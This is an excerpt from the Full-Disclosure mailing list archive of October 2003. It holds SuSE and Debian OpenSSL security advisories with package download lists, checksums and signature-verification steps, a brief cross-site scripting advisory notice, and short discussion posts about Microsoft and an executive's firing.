rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/openssl-0.9.6i-19.src.rpm 24d40081aa2644a336279ecae878c1f3 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-doc-0.9.6g-99.i586.rpm 0d094066c96a8880845e0775f9e60b73 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-doc-0.9.6g-99.i586.patch.rpm af8fcb4128569d603a018727eba8dc79 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/openssl-0.9.6g-99.src.rpm 8bb653a4f779a125498f47dbaff0dc2f SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/doc4/openssl-doc-0.9.6c-86.i386.rpm c06870e5a8c6ea57471c13fb975c2c9f patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/doc4/openssl-doc-0.9.6c-86.i386.patch.rpm 911c9fd73b10b9db32e60834a82a79ee source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-86.src.rpm 7577ca638434ebe20406bfab85ec72ad SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/doc3/openssl-doc-0.9.6b-158.i386.rpm 119950dc0267c7038c21acf6d875afdd source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssl-0.9.6b-158.src.rpm 3485c804df9a381131462ba97697d6fb SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/doc3/openssl-doc-0.9.6a-83.i386.rpm 2f664c56f018c857f2f11f2e2634fbfa source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssl-0.9.6a-83.src.rpm 5a753ed3919767077292f96728de3870 Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/doc3/openssl-doc-0.9.6b-90.sparc.rpm 6cbb149f6a3fb62eb7cc71e817e80426 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/openssl-0.9.6b-90.src.rpm 6faf5fe6fa004eb5515c1777886c49c9 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/doc3/openssl-doc-0.9.6b-151.ppc.rpm 3f4235ab75c44e8e07c764ed2e4659da source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssl-0.9.6b-151.src.rpm 7792ee3de5ef30c66c90a5fe43ee4eb2 openssl-devel: Intel i386 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-devel-0.9.7b-71.i586.rpm 8cadccfaa0eeb50def65bdf1cfdba470 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-devel-0.9.7b-71.i586.patch.rpm c7349b7e87b828ee90d7e0b87b0f5d38 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/openssl-0.9.7b-71.src.rpm 1f5a12184b14ac5281f8da50da7deab6 SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-19.i586.rpm 970728b4b4ae97d162a226a51a49c5b4 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-19.i586.patch.rpm f3cde2f53303041001edee7739dc4af1 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/openssl-0.9.6i-19.src.rpm 24d40081aa2644a336279ecae878c1f3 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-99.i586.rpm b676506791a1d5ddbc97295443092e4b patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-99.i586.patch.rpm a9974f26f6a7280a71228b61b6a861cc source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/openssl-0.9.6g-99.src.rpm 8bb653a4f779a125498f47dbaff0dc2f SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-86.i386.rpm 6ecfb4d3546645282d62e65c3aec04ad patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-86.i386.patch.rpm 1dbd101b9b7619de55d264191465b701 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-86.src.rpm 7577ca638434ebe20406bfab85ec72ad SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/d2/openssl-devel-0.9.6b-158.i386.rpm 0c2b11b0002d077219842e2b8e528af1 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssl-0.9.6b-158.src.rpm 3485c804df9a381131462ba97697d6fb SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/d2/openssl-devel-0.9.6a-83.i386.rpm 4c206037061e780fdbc20254cfdc9e17 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssl-0.9.6a-83.src.rpm 5a753ed3919767077292f96728de3870 Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/d2/openssl-devel-0.9.6b-90.sparc.rpm 40e0b55f40c1dfd110d3494240c2b533 source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/openssl-0.9.6b-90.src.rpm 6faf5fe6fa004eb5515c1777886c49c9 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/d2/openssl-devel-0.9.6b-151.ppc.rpm f3a7e90f86c2c095ff3eae5d75a1a3c8 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssl-0.9.6b-151.src.rpm 7792ee3de5ef30c66c90a5fe43ee4eb2 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - gdm2 Due to a bug in GDM it is possible for local users to read any text file on a system by creating a symlink from ~/.xsession-errors. New packages are available on our FTP servers. - whois The client tool whois is vulnerable to several buffer overflows while processing its command-line arguments. In conjunction with using untrusted data from remote sources as input, like using whois in a CGI script and so on, this buffer overflows may be abused to compromise a system. New packages are available on our FTP servers. - postgresql The SQL database server postgresql of version 7.3.x prior 7.3.4 is vulnerable to buffer overflow attacks. New packages will be available soon. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iQEVAwUBP3sLUXey5gA9JdPZAQHR6gf+KcmkRZQ8hrjrFt9vP8SZmZJkO8ZjiVX4 js+qeRyIJCf0juZ5dI+I5FGkoaeifNAnuDPDFrMAwIZXF+tgDaLaQ9/nf6r+vZef Ri5wed4B588E7M0GGsvm3guzGSmkOJnwx+Q6aiFo7Sh98LBHUJ/xF2OerSo6Lz3Q k527BCA/EdF9AqlVKuzDynq9HIUiHhbG8ZqHZCNQJMKwOUFPbnhNoTGc2+i/oMeg 0MHSreVr0N9ThUcCVENe8tjzMqNEuTWKe2mIpcMM0dyz9gY10H1zFn3heEHglsCP xrFYt0mfPf5QNVtk2zq1OykKhgvi5vOdsKQ58LxqsFVBJ3N5xQswKw== =byxR -----END PGP SIGNATURE----- Bye, Thomas -- Thomas Biege , SuSE Linux AG, Security Support & Auditing "lynx -source http://www.suse.de/~thomas/contact/thomas.asc | pgp -fka" Key fingerprint = 51 AD B9 C7 34 FC F2 54 01 4A 1C D4 66 64 09 83 -- ... bring the pieces back together, we discover communication... - Maynard James Keenan From carl.belanger at wave-hosting.net Wed Oct 1 18:36:26 2003 From: carl.belanger at wave-hosting.net (Carl Belanger) Date: Wed, 1 Oct 2003 13:36:26 -0400 (EDT) Subject: [Full-Disclosure] [SECURITY] [DSA-393-1] New OpenSSL packages correct denial of service issues In-Reply-To: References: Message-ID: <16053.206.47.0.171.1065029786.squirrel@mail.wave-hosting.net> FYI > -----BEGIN PGP SIGNED MESSAGE----- > > - > -------------------------------------------------------------------------- > Debian Security Advisory DSA 393-1 > security at debian.org http://www.debian.org/security/ > Michael Stone October 1, 2003 > http://www.debian.org/security/faq - > -------------------------------------------------------------------------- > > Package : openssl > Vulnerability : denial of service > Problem-Type : remote > Debian-specific: no > CVE Ids : CAN-2003-0543 CAN-2003-0544 > > Dr. Stephen Henson (steve at openssl.org), using a test suite provided by > NISCC (www.niscc.gov.uk), discovered a number of errors in the OpenSSL > ASN1 code. Combined with an error that causes the OpenSSL code to parse > client certificates even when it should not, these errors can cause a > denial of service (DoS) condition on a system using the OpenSSL code, > depending on how that code is used. For example, even though apache-ssl > and ssh link to OpenSSL libraries, they should not be affected by this > vulnerability. However, other SSL-enabled applications may be > vulnerable and an OpenSSL upgrade is recommended. > > For the current stable distribution (woody) these problems have been > fixed in version 0.9.6c-2.woody.4 > > For the unstable distribution (sid) these problems have been fixed in > version 0.9.7c-1 > > We recommend that you update your openssl package. Note that you will > need to restart services which use the libssl library for this update to > take effect. > > Upgrade Instructions > - -------------------- > > wget url > will fetch the file for you > dpkg -i file.deb > will install the referenced file. > > If you are using the apt-get package manager, use the line for > sources.list as given below: > > apt-get update > will update the internal database > apt-get upgrade > will install corrected packages > > You may use an automated update by adding the resources from the > footer to the proper configuration. > > Debian GNU/Linux 3.0 alias woody > - -------------------------------- > > Source archives: > > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4.dsc > Size/MD5 checksum: 675 76da6f792eccfa0e219a0bb42296546f > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c.orig.tar.gz > Size/MD5 checksum: 2153980 c8261d93317635d56df55650c6aeb3dc > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4.diff.gz > Size/MD5 checksum: 44514 c07ae1f584c7a8bc4d0a821b8e6801ab > > Architecture independent packages: > > http://security.debian.org/pool/updates/main/o/openssl/ssleay_0.9.6c-2.woody.4_all.deb > Size/MD5 checksum: 970 734c96f61a7d7032584ce001811d99ce > > Alpha architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_alpha.deb > Size/MD5 checksum: 1551438 add644f20298bb07dd2368f6139e03bd > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_alpha.deb > Size/MD5 checksum: 571194 17117f28911fee940def4cc5a5168ebf > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_alpha.deb > Size/MD5 checksum: 736296 f571a65a29ea963e9f82b4a70cc61bbc > > ARM architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_arm.deb > Size/MD5 checksum: 474030 c34ae889a0b0b05d16ab071069886ee8 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_arm.deb > Size/MD5 checksum: 1357972 7b5efab549fcace562b1df40f58eb434 > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_arm.deb > Size/MD5 checksum: 729736 bea9047ba98358b5d843ec5502c08d14 > > HP Precision architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_hppa.deb > Size/MD5 checksum: 1435088 64ec697612a1a8bb7ec02a8dfe0f082a > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_hppa.deb > Size/MD5 checksum: 564870 7c9f44efb6fbf092a4c6285438f4218f > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_hppa.deb > Size/MD5 checksum: 741856 c593ae8279de436da67de14a147b991c > > Intel IA-32 architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_i386.deb > Size/MD5 checksum: 461714 9c291cab723133eb1c7c2309540dd9e2 > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_i386.deb > Size/MD5 checksum: 721748 654531d126d43611b236964e691b67e2 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_i386.deb > Size/MD5 checksum: 1289866 0b05581c2d1c03f72644737aa7c37fe9 > > Intel IA-64 architecture: > > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_ia64.deb > Size/MD5 checksum: 763482 0292998feaac6ea041d2d044305b7715 > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_ia64.deb > Size/MD5 checksum: 711022 dbfc0819492111ff1b8040c4dc615d03 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_ia64.deb > Size/MD5 checksum: 1615238 74a9e23d5f17d9a4f40120d1103bfeb2 > > Motorola 680x0 architecture: > > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_m68k.deb > Size/MD5 checksum: 720358 293043604c8e259a058f5e1d5925a96e > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_m68k.deb > Size/MD5 checksum: 450572 5ebfb9bc4f0da2986373032213e22f3d > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_m68k.deb > Size/MD5 checksum: 1266566 5d8c56beaaa413dd72d3cf90b5b30349 > > Big endian MIPS architecture: > > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_mips.deb > Size/MD5 checksum: 717764 d7019cf6cf0d6618f8789c8290697367 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_mips.deb > Size/MD5 checksum: 1416184 09aa020367ef0d06e3e22e550ea12102 > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_mips.deb > Size/MD5 checksum: 483650 3008bbee5c4f7f5faf344317c59e0d82 > > Little endian MIPS architecture: > > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_mipsel.deb > Size/MD5 checksum: 717060 3180c04a1cb7dd325b06496ca2bff71b > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_mipsel.deb > Size/MD5 checksum: 1410226 35cc9bc327c59471f5a909878efdbb76 > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_mipsel.deb > Size/MD5 checksum: 476638 bb83a9bfc07679fbe21aab5abd56256f > > PowerPC architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_powerpc.deb > Size/MD5 checksum: 1386776 f379528eae7a157bd830ea43a371efe4 > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_powerpc.deb > Size/MD5 checksum: 726638 45d8adac74a907263e7507f64fd3c3e3 > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_powerpc.deb > Size/MD5 checksum: 502422 a386a0fdd637da29848219a1ca16eae1 > > IBM S/390 architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_s390.deb > Size/MD5 checksum: 510438 4044c7c34e45d3b9b7f3ef69eacae491 > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_s390.deb > Size/MD5 checksum: 731592 79fe91bb12f87b2dc05a4dff2aba1a10 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_s390.deb > Size/MD5 checksum: 1326384 0352ce5cd87305074b2fdc91e78badca > > Sun Sparc architecture: > > http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-2.woody.4_sparc.deb > Size/MD5 checksum: 484720 99bace5e1758b19404ef0ab618f37048 > http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-2.woody.4_sparc.deb > Size/MD5 checksum: 1344194 2290093fa5e49278491fdbe03f14ab1a > http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-2.woody.4_sparc.deb > Size/MD5 checksum: 737150 28a4ebcf466e4c4d8aaa0afe974e9893 > > These files will probably be moved into the stable distribution on its > next revision. > > - > --------------------------------------------------------------------------------- > For apt-get: deb http://security.debian.org/ stable/updates main > For dpkg-ftp: ftp://security.debian.org/debian-security > dists/stable/updates/main Mailing list: > debian-security-announce at lists.debian.org > Package info: `apt-cache show ' and > http://packages.debian.org/ > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.3 (GNU/Linux) > > iQCVAwUBP3qviw0hVr09l8FJAQHfbQP+KCrmd5ZZewgLvbmMrQ70agmPhzIzNQ+E > NUHr+41wi0atXpBfpflopYrptgycN4gtPHfRjJRE1KAwjr2DkuXX0jzcv/oqOs4m > eJlTnIDG+sI7HfeX8H+rpKWz5SnS+Zjc8xZFrqkiGw8Fsbnw/hX3aFrEki1xISPc > 5VKxp7qbGPc= > =iKdy > -----END PGP SIGNATURE----- > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- Carl B?langer Wave-Hosting.net carl.belanger at wave-hosting.net From sintraq at sintelli.com Wed Oct 1 18:43:40 2003 From: sintraq at sintelli.com (Sintelli ) Date: Wed, 1 Oct 2003 18:43:40 +0100 Subject: [Full-Disclosure] Cross-site Scripting Vulnerability in Atrise EveryFind Message-ID: <001901c38843$8d5a7d50$0400a8c0@x2> Ezhilan of Sintelli has identified a Cross-Site Scripting Vulnerability in Atrise EveryFind 5.0.2. Details of the vulnerability are provided here: http://www.sintelli.com/adv/sa-2003-01-everyfind.pdf Users are advised to upgrade to EveryFind 5.0.3 http://www.atrise.com/everyfind/version.html Regards Sintelli www.sintelli.com Week 39, 2003 Security Vulnerabilities http://www.sintelli.com/sinweek/week39-2003.pdf From shawn.a.clifford at lmco.com Wed Oct 1 18:51:56 2003 From: shawn.a.clifford at lmco.com (Clifford, Shawn A) Date: Wed, 01 Oct 2003 13:51:56 -0400 Subject: [Full-Disclosure] Re: [ISN] Technology Firm With Ties to Microsoft Fires Executive Over Criticism Message-ID: <40009098993FA041A331FB80F5F94F9701B5D426@EMSS03M12.us.lmco.com> It's posted in the "Columns" section: http://mcpmag.com/columns/article.asp?EditorialsID=610 -- Shawn > -----Original Message----- > From: Paul Robichaux [mailto:paul at robichaux.net] > Sent: Tuesday, September 30, 2003 2:41 PM > To: InfoSec News; Dan_Verton at computerworld.com; jasonc at science.org > Cc: rforno at infowarrior.org; full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] Re: [ISN] Technology Firm With Ties to > Microsoft Fires Executive Over Criticism > > > I erred in saying that Geer represented himself, or the > report, as speaking > for @stake. > > There's a lot more that I'm tempted to say, but I think > Roberta Bragg said > it better in her column yesterday. Rather than muddle her > arguments, I refer > interested readers to http://mcpmag.com/security; the > column's not posted > there yet but should be shortly. > > Cheers, > -Paul From guninski at guninski.com Wed Oct 1 20:06:46 2003 From: guninski at guninski.com (Georgi Guninski) Date: Wed, 1 Oct 2003 22:06:46 +0300 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> References: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> Message-ID: <20031001190646.1907.qmail@localhost.localdomain> This user Bullmur should be carefull with the word "criminal". Question to the lawyers on the list: It is my understanding that "criminal" is someone who breaks the law. microsoft seem to have been found guilty by a court in the antitrust trial, so they seem to have broken the law. Are microsoft criminals from legal point of view? Or does justice work this way: if you deface a website, you are a criminal, but if you screw most of the internet you are a hero? georgi On Wed, 1 Oct 2003 07:54:12 -0700 wrote: > "Hackers are criminals" Most, he notes, release their malicious code > after patches for Microsoft software have been released, meaning that > they are simply reverse engineering to exploit security weaknesses or > holes in software. - Microsoft CEO Steve Ballmer > > 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton > > From jasonc at science.org Wed Oct 1 20:27:03 2003 